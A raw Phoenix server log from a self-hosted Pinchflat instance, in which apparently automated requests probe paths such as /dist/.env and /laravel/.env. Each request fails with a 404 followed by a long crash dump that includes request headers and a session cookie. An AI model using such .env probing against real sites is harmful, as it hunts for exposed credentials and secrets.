"next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cron/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:23.175 [info] GET /dist/.env 17:14:23.175 [debug] QUERY OK source="settings" db=0.1ms idle=548.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.175 [debug] QUERY OK source="settings" db=0.0ms idle=548.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.175 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:23.176 [error] #PID<0.11789.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 22) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dist/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11789.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dist/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWkg1ZntLo9UABUgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:23.447 [info] GET /build/.env 17:14:23.447 [debug] QUERY OK source="settings" db=0.1ms idle=547.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.448 [debug] QUERY OK source="settings" db=0.1ms idle=547.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.448 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:23.448 [error] #PID<0.11790.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 23) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /build/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11790.0>, params: %{}, path_info: ["build", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/build/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWlhv5DfJafwABUiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:23.721 [info] GET /frontend/.env 17:14:23.721 [debug] QUERY OK source="settings" db=0.1ms idle=798.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.722 [debug] QUERY OK source="settings" db=0.0ms idle=546.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.722 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:23.722 [error] #PID<0.11791.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 24) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /frontend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11791.0>, params: %{}, path_info: ["frontend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/frontend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWmjEFOkBg-MABUkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, b (truncated) 17:14:23.993 [info] GET /laravel/.env 17:14:23.993 [debug] QUERY OK source="settings" db=0.1ms idle=545.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.994 [debug] QUERY OK source="settings" db=0.1ms idle=545.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:23.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:23.994 [error] #PID<0.11792.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 25) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => 